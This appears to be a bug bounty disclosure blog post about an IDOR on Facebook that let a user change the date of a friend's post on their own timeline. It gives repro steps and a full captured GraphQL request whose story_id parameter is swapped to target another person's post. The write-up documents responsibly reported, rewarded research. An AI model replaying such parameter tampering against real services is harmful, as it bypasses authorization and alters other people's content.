Post cover image

August 21, 2026

[538] IDOR allows friends to edit the date on their friends’ timeline posts on Facebook

Allows a user to edit the date of a timeline post created by another person on their Facebook profile.

By Rohmad Hidayah

2 min read

Description/Impact

On Facebook, User A is friends with User B, and User B can create posts on User A's timeline. Normally, User A cannot edit the date a post was created by User B, and the UI does not provide such a feature. However, through this IDOR vulnerability, User A can edit the date of the post created by User B. This compromises the authenticity of timeline post content on Facebook.

Repro Steps

Users: [User A, User B, User A is friends with User B.]

Environment: [Timeline post]

Browser: [Firefox]

OS: [Windows]

  1. User A logs into their account at https://web.facebook.com/
  2. User A visits User B's profile > then sends a friend request.
  3. User B logs into their account at https://web.facebook.com/ > receives a notification that User A has requested to be friends > then accepts the friend request.
  4. User B visits User A's profile > then creates a post on their timeline.
  5. User A receives a notification that User B has just created a post on their timeline > clicks the three dots on the post created by User B on their timeline > notes that the "Edit date" feature is missing from the UI > then obtains the post ID.
  6. User A creates a post > clicks the three dots on their post > clicks "Edit date" > selects a date and time > clicks "Done" while intercepting the request.
  7. A request containing the following parameters is sent:
POST /api/graphql/ HTTP/1.1
Host: web.facebook.com
Cookie: USER_A_COOKIE
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
X-Fb-Friendly-Name: ProfileCometBackdateStoryMutation
X-Fb-Lsd: 9ItuW9eyhJVQ_euOL6I1_D
X-Asbd-Id: 359341
Content-Length: 4100
Origin: [https://web.facebook.com](https://web.facebook.com)
Referer: [https://web.facebook.com/petanijagungg](https://web.facebook.com/petanijagungg)
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection:
``` keep-alive

av=61554410315919&__aaid=0&__user=61554410315919&__a=1&__req=39&__hs=20579.HYP%3Acomet_pkg.2.1…0&dpr=1&__c cg=GOOD&__rev=1038839325&__s=h2rhw1%3A9kkh8o%3A10yb8k&__hsi=7636672146002294756&__dyn=7xeUjGUW13xt0mUyEqxemh0 MBwCwWwIxu13wFwhUKbgS3q2ibwNw9G2Saxa1NwJwpUe8hwaG0Z82_CxS320qa2OU7m2210wEwgo9oO0-E4a3a4oaEnxO0Bo7O2l2Utwqo5W1 ywiE4u9x-3m1mzXw8W58jwGzEjzFU5e3ym2SU4i5oe8cEW4–5pUfEe88o4qum7–2K3y0EouwLyEbUGdG1QwVwwwOg2ZwhEkxebwHwKG4VUjwF g2fwxyo566k1fxC13xecwBwUU-4rwEKufxamEbbxG1fBG2–1mwto46fwk83KwHwOyUqxG0K83jxG3m&__csr=gesdMKxY9gzkWqs5_NsAY9MhNq sO5OjindeyMDfsAKLP9lh4AOFnGCkW9F9vNsysylREDtWWO9sOKgSKll9CjgDbheAquAF3V6R8jlLH8BilGoDSnZnjUJ6WGmF5jLm-qThKXpqQlJ lpkbvVmVdt4VFFquBj-nJ6ypHAGdqWKmmKHVbBFid7Wh4qvoOEhzmFRijBimKKm4FJ996mvDXGFkq9up29Z4Gi_VQFRAbBWHzJDAjiABKuiVudAV Fbypa-HQi9AGbLBiKm68Wuu8AxOmbDy-u8BVt7GRJ6xjxq9Ay94foWuaDyKQl2okDhby9pV8CuaCU-GhvCF6wwpaxiqbyHp8hXohxvDz_DUybzpA byazolgiACx2qqbhrCy8rwKxmqcGUS2iaHAwHDCChC3K21dG4pagyVUK4p8gy8889HAxNwDxmaDx28yryUnxOicy-2S5rG79Ey2K2a9GUlByk2G 2Seg9Uqwk82vx612wPCxe9wywhC48C2vwIwmUtx6EvwgE46mU5i1mwl8J169GECFo4S4oyKlBzWFGdQ4-i4o4a3O2WcyEy49bwFxW9wDx11e4Egw SxjyU5216wDw_xe6E27BK4ufVVei4o0htU1no25w5Bg0cpU1xU8U5ipw9G02vp02upOo3aw0wdxPw0tHaw0qAFPAymdw3mQQdF5w61y8aC3h1C6U 6i1hyEF3oC6UcU1_ojw2ZOojw3gUS057Q051o3Ow3g84t09–0UQ4E0P606Iy01CEU2ng4i5U2Nqxu6Unw0gbo32w1ei5o0yQEhwm8K13wrE1G81t 8Kdyo2swRFitS35wi88U0Fm04uo9o7Zw25m0r20z8lgS10wNxi29TGaHj808BO06Aw12Iwio1IU&__hsdp=gd10AxIgwhf8OEqwCAGEN244-gIop 8gh8dEbEmGi1mCyF46EyaBp6ooPj48xqInp1Sz8t6h0gd6n2kGs5BTb76C4V3xL5gjgyy8h96El2UJEVNb4YgxpiJT8Ca4EvahlqfA6cowAwAwAy 5DFVy95Q42MUAgQ521nIXjyD9db45f3iZ4EluwAgc2L9EF4x2MEFwRaCJkeh2a9jBohjp1hCmBZakOab8h93Q-t4Dta9epauF6HaN3hS58CQh4hR horgOUxaFpjQ4SchFF4q2N2kSiVcEGdogm9i8VCexWmoH8yxulOCppohgK5AaD38J48ayaybDUO1ovXq4lcQfx2u9gOaiwAybhEWbG1dUObx92Am bGp2paDyoSVoozA12hUHyu8hRwWhpkdh8ooChk7EsxGhfyouyA2C9Cx-cg7R0d8Bku1exp163GFQ5ogwAwSsw5mawhCEc8N0Xxi3uGy-bgcorCz EO6O0YDG6u1facwmo4q3fAJwCF0lo99–2–68kwbO1ZgK6A7Ua83owxxK4U2Ix23mawfK1kwyw8K1YwJwme13wjEfU1frwXzE6m0l20UU7q10waO1 9zE2QwBwm86W0wE5W12x60xEkwxwLzQ2O13wbu0gm1YwFw920SE2Xzo881UWw4Gwwws827G1xwio4WfwhEbo4y0om4o1PE7–0B81Co2FwbC0jC1b wiUy2S9wsU2iwcF0wwgoqwi826wrodU3Lwca7o98vwsk14wAACwp-awv40Ro2fw6iwIm4E522S0nO0Zu08HBx62m16w&__hblp=0wDZ0PhFh1213 wAG1Hgy1mwem745WG2yE4K12wtoaEV0lpU4W4oap8y2W0JU9olzo5J0yDAwGwJho88kwjA58G4oGUaEmyA5E7ucwhEmzoW6U4q2C2m7p87C1wze 26awywgAdCxG1gzE5a2u9xy5o4maUC58kwDgrAxzx51W7bUkwOofU9EuK8w4jwEDwjEmwiGxCFbwCyEfk6EeoG1bwJx22i5Ekyo-5rK7od8kCxm1 EyEpCwiy3o4m4U4q2e4o4–7FoeWCwLwJwbK1Jx10s82qx22O26ax24UjwZ83K9x6fgkwwALwLxS0AEqxa10gdUgwposwh8jCwJxe1Vx21ewXxu78 gwzBwOG0CXwXzE9EkwFwmojwBwjo13UdoO6Fo5m36eyobU9o4O1mU2Dz8ryo5y1KwNwk85W18wtosxi2i2O48b8zwUBwb6UlzE6W1JwnUswFxq1V K1kw860KUS220Xu0GE4y0EUkwFwCKfzWxS3J7wHw8uE6619wjFEy16KcxO18wuE6O6824x60sW1PyU2kwsFEtg3cwxx6i15wQhEohU2Vwbm1lx_ yU4K1by8boC1PwBwywio2lwQg8846Ui-3Cewyzo5m1JwTwe-2G0BUtwAxZ0s42u789986XyE8o5F0a-dxu0yF8a81qob5ghwk8a8bo3rxla4U4Ci 2O4E8E5S2_xm3K0pZ0UBwMCwhE&__sjsp=gd10AxIgwhf8OEqwCAGEN244-gIop8gh8dEbEmGi1mCyF46EyuBp6ooPj4QxqInp1N38pNAg43hBPl 4iFMmnsIsqpjp3xQl1d2a8x4AqxkbySyVNbaBN252eTvggxHhtk8mgIM8Ehx1pd5DGVCQnggT20wyBjwycUkxO8wxjlBe59pAi9gCh0PQ8oxiHb6 qCE9L8VdkegG9gBx5dA56pprgAGab8h93Qmt4Diixp2EC6ktwFx10xggy46k4SchEJ0PgBdxW212Q443J682l1i5U8QaD38J7x-bwq4mQl0yxy9g 3sxV1J0NK2R0gA2B0kA3R0nA-3d0FwZg7R0d908y3St02ko0Y-0Fk7U0lmU&__comet_req=15&fb_dtsg=NAftuP0jqa0qp5kfzYszLPOwu73Sw XMPfawONOqTgAxdnZOItf_Nn7A%3A5%3A1767594021&jazoest=25732&lsd=9ItuW9eyhJVQ_euOL6I1_D&__spin_r=1038839325&__spin_ b=trunk&__spin_t=1778051291&__crn=comet.fbweb.CometProfileTimelineListViewRoute&qpl_active_flow_ids=30605361&fb_api_caller_class=RelayModern&fb_api_req_friendly_name=ProfileCometBackdateStoryMutation&server_timestamps=true&variables=%7B%22input%22%3A%7B%22backdate_info%22%3A%7B%22day%22%3A6%2C%22hour%22%3A1%2C%22minute%22%3A15%2C%22month%22%3A5%2C%22year%22%3A2026%7D%2C%22story_id%22%3A%22UzpfSTYxNTU0NDEwMzE1OTE5OjEyMjI1ODM4Mzg2ODE0NzAxMDoxMjIyNTgzODM4NjgxNDcwMTA%3D%22%2C%22actor_id%22%3A%2261554410315919%22%2C%22client_mutation_id%22%3A%2214%22%7D%7D&doc_id=9660071250706684&fb_api_analytics_tags=%5B%22qpl_active_flow_ids%3D30605361%22%5D
  1. For the parameter **"story_id":"UzpfSTYxNTU0NDEwMzE1OTE5OjEyMjI1ODM4Mzg2ODE0NzAxMDoxMjIyNTgzODM4NjgxNDcwMTA="**, replace the value with the ID of the post User B created on your timeline in Step 5 above > then send the request > the server will return a **200 OK** response.
  2. Return to the browser > refresh the page > view the post User B created on your timeline > the creation date will have changed.

Timeline

I forgot which date I sent the report.

August 18, 2026: Bounty awarded + bonus

None None